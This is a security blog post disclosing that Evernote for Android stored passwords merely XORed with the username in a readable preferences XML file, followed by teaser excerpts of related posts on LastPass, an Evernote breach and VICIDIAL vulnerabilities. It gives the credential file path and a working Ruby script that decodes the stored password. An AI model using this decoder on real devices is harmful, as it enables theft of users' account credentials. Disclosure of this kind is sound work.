Evernote: XOR & Passwords

Image: Photo by Sarah Kilian on Unsplash

Update: Evernote has reported that this issue has been addressed.

Evernote for Android stores various settings in an XML, this file though isn’t really protected – it’s easily readable, especially if an attacker is able to get physical access to a device, what’s worse is that it contains the user’s credentials.

/data/data/com.evernote/shared_prefs/com.evernote_preferences.xml

The username in located in the <string name="username"> element, and the password is stored in <string name="encrypted_password"> – from the name you’d assume that the password is actually encrypted. You’d be wrong.

The password is simply XORed with the username, making recovery simple.

Here’s a simple script to “decrypt” the password:

#!/usr/bin/env ruby

##
# Copyright 2013 Adam Caudill &lt;[email protected]&gt;
#
# Decodes Evernote password recovered from Evernote for Android config file:
# File: /data/data/com.evernote/shared_prefs/com.evernote_preferences.xml
#   (may also be in &lt;userid&gt;.prof.xml if missing from com.evernote_preferences.xml)
# Password: &lt;string name="encrypted_password"&gt;
# Username: &lt;string name="username"&gt;
##

require "base64"

if ARGV.count != 2
  puts 'Usage: ./evernote_pass_decode.rb &lt;pass&gt; &lt;username&gt;'
end

pass = Base64.decode64(ARGV[0])
user = ARGV[1]
final = ''

pass.bytes.each_with_index do |byte, index|
  final += (byte ^ user[index % user.length].unpack('c')[0]).chr
end

puts "Password: #{final}"

Adam Caudill

Evernote: Doing it (mostly) right

(Update: See here for more information about what they did wrong, including a vulnerability I found in the password handling of the Android app.) So the big news today is Evernote being popped; with 50m users and user base that often stores sensitive material – it certainly is a tempting target for many reasons. Important: Evernote just implemented a service-wide password reset. Please read our post for details and instructions http://t.

Win by Building for Failure

Systems fail; it doesn’t matter what the system is. Something will fail sooner or later. When you design a system, are you focused on the happy path, or are you building with the possibility of failure in mind? If you suffered a data breach tomorrow, what would the impact be? Does the system prevent loss by design, or does it just fall apart? Can you easily minimize loss and damage, or would an attacker have free rein once they get in?

Slipping Past LastPass

Update: LastPass has confirmed that they’ll address this issue in the next release. Update 2: LastPass has addressed this issue in their new v2.0 release. There is still a way to bypass the password prompt in Chrome, but they will address that in the next release. Overall, it looks like we can close the books on this one. I’m a big fan of LastPass – it’s a great service that has impressed me every step of the way.

Thoughts on the iPad, from an Apple hater

Before I get started, let me make a couple of things clear: Apple is evil; pure and simple. I’m fully convinced that Steve Jobs has weekly planning meetings with Lucifer himself1. Apple’s policies are anti-everybody. From bloggers to developers2, Apple seems to make life as hard as possible for those that use their products for profit. With these facts in mind, I tend to shy away from their products when I have a choice (which isn’t always the case); though a while back I decided to buy an iPad for some reason.

VICIDIAL: Multiple Vulnerabilities

Update: The VICIDIAL team has publicly released a new version that, according to them, has corrected the issues I’ve pointed out here. Please make sure you are using the latest version available. If you aren’t sure if your instance is safe, contact your friendly local penetration tester to verify it’s secure as you expect it to be. Update: The SQL Injection vulnerability has been assigned CVE-2013-4467, and Command Injection assigned CVE-2013-4468.